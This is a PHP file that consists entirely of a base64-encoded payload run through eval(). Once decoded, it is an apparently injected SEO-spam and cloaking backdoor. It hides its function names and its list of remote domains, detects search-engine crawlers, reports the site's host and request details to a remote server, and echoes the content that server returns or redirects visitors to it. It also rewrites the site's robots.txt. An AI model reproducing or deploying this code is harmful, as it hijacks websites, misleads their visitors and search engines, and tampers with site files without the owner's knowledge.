<?php 
$a=base64_decode('CiR4bWxuYW1lID0gWwogICAgIiUzMiUzNyUzMiUzNSUyRCU2NyU2MiU2MyUzMSUzMCUzMyUyRSU3MiU2QiU2MyU2RSU2MSU2NiU2MiU2NSUyRSU2QiU2QyU2RCIsCiAgICAiJTMyJTM3JTMyJTM1JTJEJTY3JTYyJTYzJTMxJTMwJTMzJTJFJTYyJTY1JTcxJTc2JTYxJTcyJTYzJTJFJTZCJTZDJTZEIiwKICAgICIlMzIlMzclMzIlMzUlMkQlNjclNjIlNjMlMzElMzAlMzMlMkUlNzAlNzklNkUlNjUlNzYlNjklNjglN0ElMkUlNjclNjIlNjMiLAogICAgIiUzMiUzNyUzMiUzNSUyRCU2NyU2MiU2MyUzMSUzMCUzMyUyRSU2OSU3MiU2NiU2NyU3NiU3NCU3NiU2RSU3OSUyRSU2NyU2MiU2MyIKXTsKJHN0cmluZyA9ICcyNzI1LXRvcDEwMyc7CgokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA/OiAnJzsKJGxhbmcgPSAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSA/OiAnZW4nOwokcmVmZXJlciA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA/OiAnJzsKJGh0dHAgPSBpc19odHRwcygpID8gJ2h0dHBzJyA6ICdodHRwJzsKJHNlcnZlciA9IGZpbGVfZXhpc3RzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLy5odGFjY2VzcycpID8gMSA6IDI7CiR6eiA9IGRpc2JvdCgpOwokZHVyaSA9IGRyZXF1ZXN0X3VyaSgpID86ICcvJzsKCiRtb2RlbF9maWxlID0gJ2luZGV4LnBocCc7CiRtb2RlbCA9ICdpbmRleCc7CnByZWdfbWF0Y2goJy9cLyhbXlwvXStcLnBocCkvJywgJGR1cmksICRtYXRjaGVzKTsKaWYgKCFlbXB0eSgkbWF0Y2hlcykpIHsKICAgICRtb2RlbF9maWxlID0gJG1hdGNoZXNbMV07CiAgICBpZiAoKCRwb3NpdGlvbiA9IHN0cnBvcygkZHVyaSwgJG1vZGVsX2ZpbGUpKSAhPT0gZmFsc2UpIHsKICAgICAgICAkbW9kZWxfZmlsZSA9IGx0cmltKHN1YnN0cigkZHVyaSwgMCwgJHBvc2l0aW9uICsgc3RybGVuKCRtb2RlbF9maWxlKSksICcvJyk7CiAgICB9CiAgICAkbW9kZWwgPSBzdHJfcmVwbGFjZSgnLnBocCcsICcnLCAkbW9kZWxfZmlsZSk7Cn0KJG1vZGVsID0gc3RyaXN0cigkZHVyaSwgJy8/JykgPyAnPycgOiAkbW9kZWw7CgokaXN0ZXN0ID0gZmFsc2U7CmlmIChzdHJwb3MoJGR1cmksICRzdHJpbmcpICE9PSBmYWxzZSkgewogICAgJHp6ID0gMTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJHN0cmluZywgJycsICRkdXJpKTsKICAgICRpc3Rlc3QgPSB0cnVlOwp9CmlmICgkZHVyaSAhPSAnLycpIHsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJy8nIC4gJG1vZGVsX2ZpbGUsICcnLCAkZHVyaSk7CiAgICAkZHVyaSA9IHN0cl9yZXBsYWNlKCcvaW5kZXgucGhwJywgJycsICRkdXJpKTsKICAgICRkdXJpID0gc3RyX3JlcGxhY2UoJyEnLCAnJywgJGR1cmkpOwp9CgokcGFyYW0gPSBodHRwX2J1aWxkX3F1ZXJ5KFsKICAgICd3ZWInID0+ICRob3N0LAogICAgJ3p6JyA9PiAkenosCiAgICAndXJpJyA9PiB1cmxlbmNvZGUoJGR1cmkpLAogICAgJ3VybHNoYW5nJyA9PiAkcmVmZXJlciwKICAgICdodHRwJyA9PiAkaHR0cCwKICAgICdsYW5nJyA9PiAkbGFuZywKICAgICdzZXJ2ZXInID0+ICRzZXJ2ZXIsCiAgICAnbW9kZWwnID0+ICRtb2RlbCwKICAgICd2ZXJzaW9uJyA9PiAkaXN0ZXN0ID8gJHN0cmluZyA6ICcnCl0pOwoKY3JlYXRlX3JvYm90cygkaHR0cCAuICc6Ly8nIC4gJGhvc3QpOwokaHRtbF9jb250ZW50ID0gcmVxdWVzdCgkeG1sbmFtZSwgJHBhcmFtKTsKCmlmIChzdHJwb3MoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykgPT09IGZhbHNlKSB7CiAgICAkcmVzcG9uc2VfaGFuZGxlcnMgPSBhcnJheSgKICAgICAgICAnb2todG1sJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICdva2h0bWwnLAogICAgICAgICAgICAndGVzdF9lY2hvJyA9PiB0cnVlLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnZ2V0Y29udGVudDUwMHBhZ2UnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicKICAgICAgICApLAogICAgICAgICc0MDRwYWdlJyA9PiBhcnJheSgKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnCiAgICAgICAgKSwKICAgICAgICAnMzAxcGFnZScgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknLAogICAgICAgICAgICAncmVwbGFjZScgPT4gJzMwMXBhZ2UnLAogICAgICAgICAgICAncmVkaXJlY3QnID0+IHRydWUKICAgICAgICApLAogICAgICAgICdva3htbCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbDsgY2hhcnNldD11dGYtOCcsCiAgICAgICAgICAgICdyZXBsYWNlJyA9PiAnb2t4bWwnLAogICAgICAgICAgICAnb3V0cHV0JyA9PiB0cnVlCiAgICAgICAgKSwKICAgICAgICAnb2tyb2JvdHMnID0+IGFycmF5KAogICAgICAgICAgICAnaGVhZGVyJyA9PiAnQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3JlcGxhY2UnID0+ICdva3JvYm90cycsCiAgICAgICAgICAgICdvdXRwdXQnID0+IHRydWUKICAgICAgICApCiAgICApOwoKICAgIGZvcmVhY2ggKCRyZXNwb25zZV9oYW5kbGVycyBhcyAka2V5ID0+ICRoYW5kbGVyKSB7CiAgICAgICAgaWYgKHN0cnBvcygkaHRtbF9jb250ZW50LCAka2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgQGhlYWRlcigkaGFuZGxlclsnaGVhZGVyJ10pOwoKICAgICAgICAgICAgaWYgKGlzc2V0KCRoYW5kbGVyWydyZXBsYWNlJ10pKSB7CiAgICAgICAgICAgICAgICAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoJGhhbmRsZXJbJ3JlcGxhY2UnXSwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoaXNzZXQoJGhhbmRsZXJbJ3Rlc3RfZWNobyddKSAmJiAkaXN0ZXN0KSB7CiAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc3NldCgkaGFuZGxlclsncmVkaXJlY3QnXSkpIHsKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkaHRtbF9jb250ZW50KTsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRoYW5kbGVyWydvdXRwdXQnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gZGlzYm90KCkgewogICAgJHVzZXJfYWdlbnQgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pID8gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIDogJyc7CiAgICAkYm90cyA9IGFycmF5KCdnb29nbGVib3QnLCAnYmluZycsICd5YWhvbycsICdnb29nbGUnKTsKCiAgICBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7CiAgICAgICAgaWYgKHN0cnBvcygkdXNlcl9hZ2VudCwgJGJvdCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAyOwp9CgpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKSB7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydhcmd2J11bMF07CiAgICB9CgogICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9CgpmdW5jdGlvbiBpc19odHRwcygpIHsKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkpIHsKICAgICAgICAkaHR0cHMgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKTsKICAgICAgICBpZiAoJGh0dHBzICE9PSAnb2ZmJyAmJiAkaHR0cHMgIT09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkpIHsKICAgICAgICAkZnJvbnRfZW5kX2h0dHBzID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSk7CiAgICAgICAgaWYgKCRmcm9udF9lbmRfaHR0cHMgIT09ICdvZmYnICYmICRmcm9udF9lbmRfaHR0cHMgIT09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGNyZWF0ZV9yb2JvdHMoJHVybCkgewogICAgJGZ1bmN0aW9ucyA9IGZ1bmMoKTsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvcm9ib3RzLnR4dCc7CiAgICAkY29udGVudCA9ICJVc2VyLWFnZW50OiAqXG5BbGxvdzogL1xuXG5TaXRlbWFwOiAiIC4gJHVybCAuICIvc2l0ZW1hcC54bWxcbiI7CgogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAkZnVuY3Rpb25zWzBdKCRwYXRoLCAkY29udGVudCk7CiAgICB9IGVsc2UgewogICAgICAgICRleGlzdGluZ19jb250ZW50ID0gJGZ1bmN0aW9uc1sxXSgkcGF0aCk7CiAgICAgICAgaWYgKCRleGlzdGluZ19jb250ZW50ICE9PSAkY29udGVudCkgewogICAgICAgICAgICAkZnVuY3Rpb25zWzBdKCRwYXRoLCAkY29udGVudCk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiByZXF1ZXN0KCR3ZWJzLCAkcGFyYW0pIHsKICAgICRmdW5jdGlvbnMgPSBmdW5jKCk7CiAgICBzaHVmZmxlKCR3ZWJzKTsKCiAgICBmb3JlYWNoICgkd2VicyBhcyAkZG9tYWluKSB7CiAgICAgICAgJGRvbWFpbl9kZWNvZGVkID0gJGZ1bmN0aW9uc1syXSh1cmxkZWNvZGUoJGRvbWFpbikpOwogICAgICAgICR1cmwgPSAnaHR0cDovLycgLiAkZG9tYWluX2RlY29kZWQgLiAnL3N1cGVyNi5waHA/JyAuICRwYXJhbTsKCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVtb3RlX2dldCcpKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoJHVybCwgYXJyYXkoCiAgICAgICAgICAgICAgICAndGltZW91dCcgPT4gMzAsCiAgICAgICAgICAgICAgICAndXNlci1hZ2VudCcgPT4gJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBXb3JkUHJlc3MpJwogICAgICAgICAgICApKTsKCiAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgewoKICAgICAgICAgICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gJGJvZHk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICAgICBpZiAoIWN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpIHsKICAgICAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCiAgICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoJ3RpbWVvdXQnID0+IDMwKQogICAgICAgICAgICApKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gQCRmdW5jdGlvbnNbMV0oJHVybCwgZmFsc2UsICRjb250ZXh0KTsKICAgICAgICAgICAgaWYgKCRyZXNwb25zZSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICdub2JvdHVzZXJhZ2VudCc7Cn0KCmZ1bmN0aW9uIGZ1bmMoKSB7CiAgICAkY2hhcnMgPSByYW5nZSgnYScsICd6Jyk7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJGNoYXJzWzVdIC4gJGNoYXJzWzhdIC4gJGNoYXJzWzExXSAuICRjaGFyc1s0XSAuICdfJyAuICRjaGFyc1sxNV0gLiAkY2hhcnNbMjBdIC4gJGNoYXJzWzE5XSAuICdfJyAuICRjaGFyc1syXSAuICRjaGFyc1sxNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1s0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE4XSwKICAgICAgICAkY2hhcnNbNV0gLiAkY2hhcnNbOF0gLiAkY2hhcnNbMTFdIC4gJGNoYXJzWzRdIC4gJ18nIC4gJGNoYXJzWzZdIC4gJGNoYXJzWzRdIC4gJGNoYXJzWzE5XSAuICdfJyAuICRjaGFyc1syXSAuICRjaGFyc1sxNF0gLiAkY2hhcnNbMTNdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1s0XSAuICRjaGFyc1sxM10gLiAkY2hhcnNbMTldIC4gJGNoYXJzWzE4XSwKICAgICAgICAkY2hhcnNbMThdIC4gJGNoYXJzWzE5XSAuICRjaGFyc1sxN10gLiAnXycgLiAkY2hhcnNbMTddIC4gJGNoYXJzWzE0XSAuICRjaGFyc1sxOV0gLiAnMTMnCiAgICApOwp9CgoK');
eval($a);